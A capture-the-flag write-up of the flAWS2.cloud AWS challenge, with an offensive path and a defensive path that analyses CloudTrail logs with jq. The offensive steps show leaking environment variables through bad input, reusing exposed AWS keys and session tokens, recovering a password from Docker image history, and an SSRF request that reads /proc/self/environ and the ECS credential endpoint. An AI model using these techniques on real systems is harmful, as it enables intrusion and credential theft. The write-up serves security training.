# flAWS2.cloud

## SUMMARY

[flAWS2.cloud](http://flaws2.cloud/) is the continuation of [flaws.cloud](https://allthewriteups.gitbook.io/book/cloud/flaws.cloud "mention"), an educational challenge to learn common vulnerabilities and misconfigurations in AWS. This time, the challenge is divided in two parts: offensive and defensive. We are supposed to begin as an attacker and exploit our way through misconfigurations in serverless (Lambda) and containers (ECS Fargate). Once finished, we will continue with the defensive path, where we will take the role of an investigator trying to understand how an attack happened, while learning common techniques to investigate incidents.

## KEYWORDS

AWS command line, ECR, Docker, jq tool, Athena.

## REFERENCES

<http://flaws2.cloud/>

<https://jqlang.org/>

## OFFENSIVE PATH&#x20;

### LEVEL 1

Navigate to level 1 URL: <http://level1.flaws2.cloud/>

We are prompted to find a 100-digit PIN, brute forcing won't help.

<div align="left"><figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FmG1A6p4AjLJgstvjbHxh%2FUntitled.png?alt=media&#x26;token=f73c4570-43ce-4394-b692-07a80bea334e" alt="" width="375"><figcaption></figcaption></figure></div>

Enter any PIN and capture the request with Burpsuite, we see a GET request to *2rfismmoo8.execute-api.us-east-1.amazonws.com.*

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FHB23N4KLFs1wlg0zbxbb%2FUntitled2.png?alt=media&#x26;token=2d46474c-c38c-4ea4-a2e8-d4db3055f97b" alt=""><figcaption></figcaption></figure>

Send to repeater to fuzz the application. If we send a PIN made of letters instead of numbers the application dumps all kind of information included in environmental variables.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F7X4mTFKQ5iiNibdoCru7%2FUntitled3.png?alt=media&#x26;token=1ea8ae64-99c3-49db-85cc-7fc0b3d63616" alt=""><figcaption></figcaption></figure>

Here we disclose the AWS credentials as well as the AWS region: `us-east-1`

Let's use credentials to connect to the bucket and enumerate the secrets.

```bash
> export AWS_ACCESS_KEY_ID="ASIAZQNB3KHGJOJ3XNWG" && \
export AWS_SECRET_ACCESS_KEY="KbtVeP/2HHhPEM31lTvkfaoD/07lIaGqF5qsLr0C" && \
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEGIaCXVzLWVhc3QtMSJGMEQCIEIDnnfyQ4gMiSnocgvX+GpdttYgstfcezWdX5PKw5LBAiBKkrrnL877BM/eAwhe2MoZTr0HZnryGuNnAkXxdz12GyrgAgh6EAMaDDY1MzcxMTMzMTc4OCIMq+sS+gVFPi3Ot4CRKr0CjFnFVoyqAi2CMoseoPofs/sK3syPYR5um4JwA1+ONm3OQJZ3EqPtIlysKI3UvqD15MAFaAJxk/0Ju9HCkjNSRaEYolq4nrj7ToSHd95aiehqxSkRssO+wOpPPWxvVg+U9ydwMoXBjwAUXWAKiT0RCsZmuXL5K8MYcxJGvGGJa4EuVsxshBuDeiU4hHtuTMGIF6Mf6Hi7T50KzPrgSIxbWFb7IpLvT27+hMglMk+kzCgT+7KcD3ewouuErwuqmL4SUGwRc3RpAhJ6izO0KBSSK86gpExsHALYXCQEN8PsCDTzr06rqTU97Y3f1iaA7MGrBh0zMjY6bja0MmlO3Y48cz8fhGQkeaI3vLFQ1N0/6yfIKqwffHx6OJiDdt63Ib5lDhaYFYc/xagafkuUIPrXNy7WYFIzQSJZp3U1CfIw6YGZvQY6nwHdyFJ+rLDh3Cq5QseNLua+2aRuaVPmsDhE5KaNNnoIChXwyCJfuAib56es+M3R8e01PqXHoDgT7KnBejSSFZ76wQRvw8GrrcY8EmdZmSvUNg47OAM7sxS8ntBlf94Ev5qPLbzkZQGy9a41ugFpWVFA23YCGP2NIdOeFnqFMlVik8bcaZv+3SVE2LE3GPgu5xzJ3a5zdbE3ASGX4kJD6VY="
 
> aws s3 ls s3://level1.flaws2.cloud
                           PRE img/
2018-11-20 20:55:05      17102 favicon.ico
2018-11-21 02:00:22       1905 hint1.htm
2018-11-21 02:00:22       2226 hint2.htm
2018-11-21 02:00:22       2536 hint3.htm
2018-11-21 02:00:23       2460 hint4.htm
2018-11-21 02:00:17       3000 index.htm
2018-11-21 02:00:17       1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
```

Download the secret and find the level 2 URL inside the file.

```bash
> aws s3 cp s3://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html .
download: s3://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html to ./secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
 
> cat secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
<!DOCTYPE html>
<html lang="en">
 
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
   
    <meta name="description" content="AWS Security training">
    <meta name="keywords" content="aws,security,ctf,amazon,enterprise,defense,infosec,cyber,flaws2">
    <title>flAWS2.cloud</title>
   
    <link href="http://flaws2.cloud/css/bootstrap.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?family=Lato" rel="stylesheet">
    <link href="http://flaws2.cloud/css/summitroute.css" rel="stylesheet">
 
    <link rel="icon" href="/favicon.ico" sizes="16x16 32x32 64x64" type="image/vnd.microsoft.icon">
</head>
 
<body>
    <div class="stretchforfooter">
        <div class="container">
            <nav class="navbar navbar-default" role="navigation">
                <div class="navbar-header">
                    <a class="navbar-brand" href="/"></a>
                </div>
                <div>
                    <ul class="nav navbar-nav navbar-right">
                        <li>
                            <a href="http://flaws2.cloud" class="hvr-overline-from-center">flaws2.cloud</a>
                        </li>
                    </ul>
                </div>
            </nav>
        </div>
 
        <hr class="gradient">
 
        <div class="content-section-a">
          <div class="container">
    <div class="row">
        <div class="col-sm-8 col-sm-offset-2">
 
<div class="content">
    <div class="row">
        <div class="col-sm-12">
            <center><h1>Level 1 - Secret</h1></center>
            <hr>
            The next level is at <a href="http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud">http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud</a>
           
        </div>
    </div>
</div>
 
</body>
</html>
```

In the lessons learned the author mentions 3 vulnerabilities:&#x20;

1. Developers dumped environmental variables when error conditions occur in order to help them when debugging problems; however, they forgot to deactivate the feature after the application entered in production.
2. IAM role has permissions to list contents of a bucket.
3. Lack of user input sanitization.

<div align="left"><figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F6cXSasJ0nnbHKgS1fe0p%2FUntitled4.png?alt=media&#x26;token=315dbbd0-ac89-4b1f-b8e0-a2d9f3bfcefa" alt="" width="375"><figcaption></figcaption></figure></div>

### LEVEL 2

Navigate to level 2 URL: <http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud/>

The author provides a hint: check if other resources apart from S3 buckets, such as ECR resources, have open access.

<div align="left"><figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FGcf5P3KYPevCVLHTYwpx%2FUntitled5.png?alt=media&#x26;token=278e7eeb-1362-4f6a-8664-a962202e2ccd" alt="" width="375"><figcaption></figcaption></figure></div>

With the AWS keys we have disclosed in the previous step we can enumerate the user ID.

```bash
> aws sts get-caller-identity
{
    "UserId": "AROAIBATWWYQXZTTALNCE:level1",
    "Account": "653711331788",
    "Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
}
```

Now we can enumerate the image registry, if the ECR is public, we will list the images with the following command.

```bash
> aws ecr list-images --repository-name level2 --registry-id 653711331788 --region us-east-1
{
    "imageIds": [
        {
            "imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
            "imageTag": "latest"
        }
    ]
}
```

The image is public so we can download it with `docker pull`

First log in into the ECR registry.

```bash
> aws ecr get-login-password --region us-east-1 | sudo docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
 
Login Succeeded
```

Now we pull the image.

```bash
> sudo docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
latest: Pulling from level2
7b8b6451c85f: Pull complete
ab4d1096d9ba: Pull complete
e6797d1788ac: Pull complete
e25c5c290bde: Pull complete
96af0e137711: Pull complete
2057ef5841b5: Pull complete
e4206c7b02ec: Pull complete
501f2d39ea31: Pull complete
f90fb73d877d: Pull complete
4fbdfdaee9ae: Pull complete
Digest: sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e
Status: Downloaded newer image for 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
```

Now we can run a container and open a shell to search for secrets.

```bash
> sudo docker run -ti -p8000:8000 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 bash
```

In the web root directory find we find the `index.htm` file, that contains the level 3 URL.

```html
<!DOCTYPE html>
<html lang="en">

<head>
   <meta charset="utf-8">
   <meta http-equiv="X-UA-Compatible" content="IE=edge">
   <meta name="viewport" content="width=device-width, initial-scale=1">
   
   <meta name="description" content="AWS Security training">
   <meta name="keywords" content="aws,security,ctf,amazon,enterprise,defense,infosec,cyber,flaws2">
   <title>flAWS2.cloud</title>
   
   <link href="http://flaws2.cloud/css/bootstrap.css" rel="stylesheet">
   <link href="https://fonts.googleapis.com/css?family=Lato" rel="stylesheet">
   <link href="http://flaws2.cloud/css/summitroute.css" rel="stylesheet">

   <link rel="icon" href="/favicon.ico" sizes="16x16 32x32 64x64" type="image/vnd.microsoft.icon">
</head>

<body>
   <div class="stretchforfooter">
       <div class="container">
           <nav class="navbar navbar-default" role="navigation">
               <div class="navbar-header">
                   <a class="navbar-brand" href="/"></a>
               </div>
               <div>
                   <ul class="nav navbar-nav navbar-right">
                       <li>
                           <a href="http://flaws2.cloud" class="hvr-overline-from-center">flaws2.cloud</a>
                       </li>
                   </ul>
               </div>
           </nav>
       </div>

       <hr class="gradient">

       <div class="content-section-a">
         <div class="container">
   <div class="row">
       <div class="col-sm-8 col-sm-offset-2">

<div class="content">
   <div class="row">
       <div class="col-sm-12">
           <center><h1>Level 3</h1></center>
           <hr>
           Read about Level 3 at <a href="http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud">level3-oc6ou6dnkw8sszwvdrraxc5t5udr
sw3s.flaws2.cloud</a>
           <p>

       </div>
   </div>
</div>
</body>
</html>
```

Also, in the Nginx `htpasswd` file there are hashed credentials.

```bash
> cat /etc/nginx/.htpasswd
flaws2:$apr1$jJh7fsij$wJV.a0WR6hAZ51/r11myl/
```

You can see the clear text password browsing the image history.

```bash
> sudo docker history 2d73de35b781 --no-trunc | grep htpasswd
<missing> 6 years ago /bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd
flaws2 secret_password
```

In the lessons learned, the author warns against misconfigured public resources.

<div align="left"><figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FS2s5nOCDpsrCh4Z231Yg%2FUntitled6.png?alt=media&#x26;token=7869527c-ae7d-4179-adb7-56d43a13ffd9" alt="" width="375"><figcaption></figcaption></figure></div>

### LEVEL 3

Navigate to the last challenge URL: <http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud/>

This time we are prompted to take advantage of a proxy.

<div align="left"><figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FW3Jy0JAWNROWsVfuzzPu%2FUntitled7.png?alt=media&#x26;token=6125b28e-0899-4f37-9077-fb9bbcdc51d2" alt="" width="375"><figcaption></figcaption></figure></div>

If we follow the author's hint, it seems containers running via ECS have their credentials at URI *169.254.170.2/v2/credentials/guid*

And the GUID parameter is taken from an environment variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`

As a reminder, environment variables in a Linux system are stored here `/proc/self/environ`

First, let's dump environment variables by navigating to URL.

```html
http://container.target.flaws2.cloud/proxy/file:///proc/self/environ
```

Look for the environmental variable containing the GUID, it should be something similar to this.

```
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/<GUID>
```

So next step would be to dump the AWS credentials using the disclosed GUID.

```bash
> curl -s http://container.target.flaws2.cloud/proxy/http://169.254.170.2//v2/credentials/<GUID> | jq
```

And use them to list the bucket.

```bash
> aws s3 ls
```

There you find the URL for the ending screen: <http://the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud/>

<div align="left"><figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FMY4vueWbcsbOyy0lScF5%2FUntitled9.png?alt=media&#x26;token=3eedf5ed-9db1-4831-adde-81a59d7fb26a" alt="" width="375"><figcaption></figcaption></figure></div>

## DEFENSIVE PATH

Now we take the role of a defender investigating the incident.

We have AWS credentials for "security" account as an IAM user. This account contains a copy of the logs and has the ability to assume the "security" role in the target account.

Credentials provided:

* Login: <https://flaws2-security.signin.aws.amazon.com/console>
* Account ID: 322079859186
* Username: security
* Password: password
* Access key: AKIAIUFNQ2WCOPTEITJQ
* Secret key: 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

Credentials give access to the security account, and you can also have access to an S3 bucket, named `flaws2_logs` that contains the CloudTrail logs recorded during the attack.

<div align="left"><figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FwMG0aQ3kxlZ909CpkqaF%2FUntitled10.png?alt=media&#x26;token=9e72b1e6-3dba-42a3-b0da-846342e66bdd" alt="" width="563"><figcaption></figcaption></figure></div>

### OBJECTIVE 1: DOWNLOAD THE CLOUDTRAIL LOGS

Start by trying the account credentials and enumerating the user.

```bash
> export AWS_ACCESS_KEY_ID="AKIAIUFNQ2WCOPTEITJQ" && export AWS_SECRET_ACCESS_KEY="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"
 
> aws sts get-caller-identity
{
    "UserId": "AIDAJXZBU42TNFRNGBBFI",
    "Account": "322079859186",
    "Arn": "arn:aws:iam::322079859186:user/security"
```

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F6UAxKr24o6zqEGaZESlu%2FUntitled11.png?alt=media&#x26;token=e4cd1359-8256-4298-884c-c3441fd0e104" alt=""><figcaption></figcaption></figure>

Then connect to the S3 bucket, where you find a bunch of logs.

```bash
> aws s3 ls s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/
```

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FwaS6k4Un3AF2Cg0SQG13%2FUntitled12.png?alt=media&#x26;token=407646b9-b155-4129-bfe3-f3616acb819a" alt=""><figcaption></figcaption></figure>

Just download all files.

```bash
> aws s3 cp s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/ . --recursive
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2305Z_zKlMhON7EpHala9u.json.gz to ./653711331788_CloudTrail_us-east-1_20181128T2305Z_zKlMhON7EpHala9u.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2305Z_83VTWZ8Z0kiEC7Lq.json.gz to ./653711331788_CloudTrail_us-east-1_20181128T2305Z_83VTWZ8Z0kiEC7Lq.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_jJW5HfNtz7kOnvcP.json.gz to ./653711331788_CloudTrail_us-east-1_20181128T2310Z_jJW5HfNtz7kOnvcP.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_A1lhv3sWzzRIBFVk.json.gz to ./653711331788_CloudTrail_us-east-1_20181128T2310Z_A1lhv3sWzzRIBFVk.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_7J9NEIxrjJsrlXSd.json.gz to ./653711331788_CloudTrail_us-east-1_20181128T2310Z_7J9NEIxrjJsrlXSd.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_rp9i9zxR2Vcpqfnz.json.gz to ./653711331788_CloudTrail_us-east-1_20181128T2310Z_rp9i9zxR2Vcpqfnz.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2235Z_cR9ra7OH1rytWyXY.json.gz to ./653711331788_CloudTrail_us-east-1_20181128T2235Z_cR9ra7OH1rytWyXY.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_jQajCuiobojD8I4y.json.gz to ./653711331788_CloudTrail_us-east-1_20181128T2310Z_jQajCuiobojD8I4y.json.gz
```

### OBJECTIVE 2: ACCESS THE TARGET ACCOUNT

Next step would be to check our access to the target account (653711331788). For this just add another profile in the config file `~/.aws/config`

You also need to configure profile "security" since it will be source profile for "target\_account". The final AWS config file would be something like this.

```bash
> cat ~/.aws/config
[profile security]
aws_access_key_id=AKIAIUFNQ2WCOPTEITJQ
aws_secret_access_key=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
region=us-east-1
output=json
[profile target_security]
region=us-east-1
output=json
source_profile = security
role_arn = arn:aws:iam::653711331788:role/security
```

Now you can enumerate target account and verify the access.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F7mHFdBOcf1y16ZZFjdlh%2FUntitled13.png?alt=media&#x26;token=3834b815-9e60-456f-b895-099ef6ff5f49" alt=""><figcaption></figcaption></figure>

### OBJECTIVE 3: USE jq

In this challenge we are prompted to browse logs by means of the `jq` [tool](https://jqlang.org/).

First step, unzip the logs to extract the JSON files.

```bash
> for log in $(ls *.gz); do gunzip $log;done
```

Now you can `cat` the JSON with the `jq` tool and extract whatever field you want.

```bash
> cat 653711331788_CloudTrail_us-east-1_20181128T2235Z_cR9ra7OH1rytWyXY.json | jq '.'
{
  "Records": [
    {
      "eventVersion": "1.05",
      "userIdentity": {
        "type": "AWSService",
        "invokedBy": "ecs-tasks.amazonaws.com"
      },
      "eventTime": "2018-11-28T22:31:59Z",
      "eventSource": "sts.amazonaws.com",
      "eventName": "AssumeRole",
      "awsRegion": "us-east-1",
      "sourceIPAddress": "ecs-tasks.amazonaws.com",
      "userAgent": "ecs-tasks.amazonaws.com",
      "requestParameters": {
        "roleSessionName": "d190d14a-2404-45d6-9113-4eda22d7f2c7",
        "roleArn": "arn:aws:iam::653711331788:role/level3"
      },
      "responseElements": {
        "credentials": {
          "sessionToken": "FQoGZXIvYXdzEFAaDEbnJXLefTT+kjlmKSKSBNgEUj8tJVL+szjaH5q2npYc2FIPgrLmfkRjK9KqtSW7+lo4WxteBTd77aeAcmIip4GceNBbU86zxGgS1IdNBzEOLnDw6biAzijG0Du/Qazx136qjy+kahHxPlR36C4y/0QrCUZpTFmP3uELsRIKkvhGvuBr6S10pTOZ+GjtUXN3iFV8Ea0KOo/fSP0d4LbZGwI957aJxs2I7N8ji/lKTfwPdq+sxXvSWnaOseinUxZUDS0zdI69CKb6C+qwhR5YTifqyuOvC9OoSlfcBN2FyHpRZf5Bd+Z+mPYTldbAvD/HcdbQo7U4jqlR2WGuXoBfwvypt/Kb6HtPp4g9O0HlTCc7Sb4uiJY81WMbaNFmmYXyj62gi+BN5QaA90YhWn9cU1x9gqt0uEgvSk/RdrwtulTtNyJcuuFvhlD1gaJHGc4eCoWApr+J9nrbPTvSo00sc8IYIVvwOi3NRsmP+ZA9aQOV/qg2L1cYxScQrQ/pKVOnYWJ4XuB0WL8gRYdo1bGI6LWGAtOV+fzVoXU0SfWH7UmPcvttqkWsv1Rr50pspmJneXeY6Ge1szNsvyHqmPFJj7GAXnEKl9xthHK3IaDc6HEprFqYw8SyQqYWGdpeism2S+V4XpIMbQJlC06BxyOg94H0Fiffzs8wwnCUpBU0s69X2tN8sxb4U3FqKl28mwCOuuaweZeGWq5MWxU7Fop2dmjaKN+u/N8F",                                                                                        
          "accessKeyId": "ASIAZQNB3KHGNXWXBSJS",
          "expiration": "Nov 29, 2018 4:31:59 AM"
        }
      },
      "requestID": "6b7d6c60-f35d-11e8-becc-39e7d43d4afe",
      "eventID": "6177ca7e-860e-482c-bde9-50c735af58d6",
      "resources": [
        {
          "ARN": "arn:aws:iam::653711331788:role/level3",
          "accountId": "653711331788",
          "type": "AWS::IAM::Role"
        }
      ],
      "eventType": "AwsApiCall",
      "recipientAccountId": "653711331788",
      "sharedEventID": "1d18bf74-8392-4496-9dc4-a45cb799b8b4"
    },
    {
      "eventVersion": "1.05",
      "userIdentity": {
        "type": "AWSService",
        "invokedBy": "ecs-tasks.amazonaws.com"
      },
      "eventTime": "2018-11-28T22:31:59Z",
      "eventSource": "sts.amazonaws.com",
      "eventName": "AssumeRole",
      "awsRegion": "us-east-1",
      "sourceIPAddress": "ecs-tasks.amazonaws.com",
      "userAgent": "ecs-tasks.amazonaws.com",
      "requestParameters": {
        "roleSessionName": "d190d14a-2404-45d6-9113-4eda22d7f2c7",
        "roleArn": "arn:aws:iam::653711331788:role/ecsTaskExecutionRole"
      },
      "responseElements": {
        "credentials": {
          "sessionToken": "FQoGZXIvYXdzEFAaDAhihig4wSQxSSiMjSKSBOW1B0tXzW8SIP7MtRZEikuZamVqb7hEQtmgX5LDeDzpOxpP4G9U8r3cZK74HNErY8W+Scri3Y8NVr/VO7MyzIXnpXiEDo10JfNYnA+urhxB+rYtPF6o8uzm40w/lqdq1/DyOkYYuFRtqWfS4Jy1t83KYAFTuX5IkTGekMidOkIcdnHjsZKQSqKs4U3MQ4doUG4nCyEERDv9yckTPq/R4fKEPTF1BN0jycyiSiR3OTPAWaLGMGxHthAKSA5IXosrPBAq0yD2HhSKZc0kbskCZyGOQCcmVAQK4IdEjyk4Lytc+PEDasvWiGoCQPEqlwwqFJm7EPm838MjCTi4ojN9nVYRP9hFYkXdvnVG6ScwoBfbg135vN1bqYgEKDncW780xUBRYwElM4Q2/6zv7DMj0UegbRJmAwtys4phLrItQqNLWPmBbW/pNgMYoT1IKfzDmuc27AyTHtL8t25hkYOLWZG19EYKm+XeHU9gbs0aDTPssjBFPZp7ssR35IHhgcw5m+etXSoXMxMuHNbVR46ZJ6uieR8roEZ8QfiIijyB8J7i2sH2JOY0HIOonbVYmqdtv++0D+1idTO+6ZbXJIKhEmDmZZDeenF2ZXQGH4PgA4udIdBXnhVLzVFkEKc1MWG3aAhuOhZLvnXkOpkn1XjwfDx3N0UyenOUR4x/gkY9+MEXMZAyO8Va2Y1vNZvnSCvTJtHDKN+u/N8F",                                                                                        
          "accessKeyId": "ASIAZQNB3KHGMG7YRUEW",
          "expiration": "Nov 29, 2018 4:31:59 AM"
        }
      },
      "requestID": "6b80a0b1-f35d-11e8-becc-39e7d43d4afe",
      "eventID": "457af3a9-0b1b-44ca-91e1-8f4a0f873149",
      "resources": [
        {
          "ARN": "arn:aws:iam::653711331788:role/ecsTaskExecutionRole",
          "accountId": "653711331788",
          "type": "AWS::IAM::Role"
        }
      ],
      "eventType": "AwsApiCall",
      "recipientAccountId": "653711331788",
      "sharedEventID": "5397e1a9-82c7-4a00-9b1c-e44cbd688aa1"
    }
  ]
}
```

For example, to list a sequence of the events of the attack.

```bash
> cat *.json | jq -cr '.Records[]|[.eventTime, .sourceIPAddress, .userIdentity.arn, .userIdentity.accountId, .userIdentity.type, .eventName]|@tsv' | sort 
2018-11-28T22:31:59Z    ecs-tasks.amazonaws.com                 AWSService      AssumeRole
2018-11-28T22:31:59Z    ecs-tasks.amazonaws.com                 AWSService      AssumeRole
2018-11-28T23:02:56Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:02:56Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:02:56Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:02:56Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:02:57Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:08Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:08Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:08Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:08Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:08Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:11Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:11Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:12Z    34.234.236.212  arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     CreateLogStream
2018-11-28T23:03:12Z    lambda.amazonaws.com                    AWSService      AssumeRole
2018-11-28T23:03:13Z    34.234.236.212  arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     CreateLogStream
2018-11-28T23:03:13Z    apigateway.amazonaws.com                        AWSService      Invoke
2018-11-28T23:03:14Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:17Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:18Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:03:20Z    34.234.236.212  arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     CreateLogStream
2018-11-28T23:03:20Z    apigateway.amazonaws.com                        AWSService      Invoke
2018-11-28T23:03:35Z    34.234.236.212  arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     CreateLogStream
2018-11-28T23:03:50Z    34.234.236.212  arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     CreateLogStream
2018-11-28T23:04:54Z    104.102.221.250 arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     ListObjects
2018-11-28T23:05:10Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:05:12Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:05:12Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:05:53Z    104.102.221.250 arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     ListImages
2018-11-28T23:06:17Z    104.102.221.250 arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     BatchGetImage
2018-11-28T23:06:33Z    104.102.221.250 arn:aws:sts::653711331788:assumed-role/level1/level1    653711331788    AssumedRole     GetDownloadUrlForLayer
2018-11-28T23:07:08Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:07:08Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:09:28Z    104.102.221.250 arn:aws:sts::653711331788:assumed-role/level3/d190d14a-2404-45d6-9113-4eda22d7f2c7      653711331788    AssumedRole      ListBuckets
2018-11-28T23:09:36Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
2018-11-28T23:09:36Z    104.102.221.250         ANONYMOUS_PRINCIPAL     AWSAccount      GetObject
```

### OBJECTIVE 4: IDENTIFY CREDENTIAL THEFT

Now we are challenged to find the credential hack by analyzing the logs.

If we search by *ListBuckets* events, there is  an access from IP 104.102.221.250 using role `level3`

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FVE9Xcw5YZZIqgv5Cat7O%2FUntitled14.png?alt=media&#x26;token=916b7ee7-4140-4e54-8959-5efdd324ef68" alt=""><figcaption></figcaption></figure>

Using our access to the target account we get more details on the `leve3` role.

```bash
> aws --profile target_security iam get-role --role-name level3
{
    "Role": {
        "Path": "/",
        "RoleName": "level3",
        "RoleId": "AROAJQMBDNUMIKLZKMF64",
        "Arn": "arn:aws:iam::653711331788:role/level3",
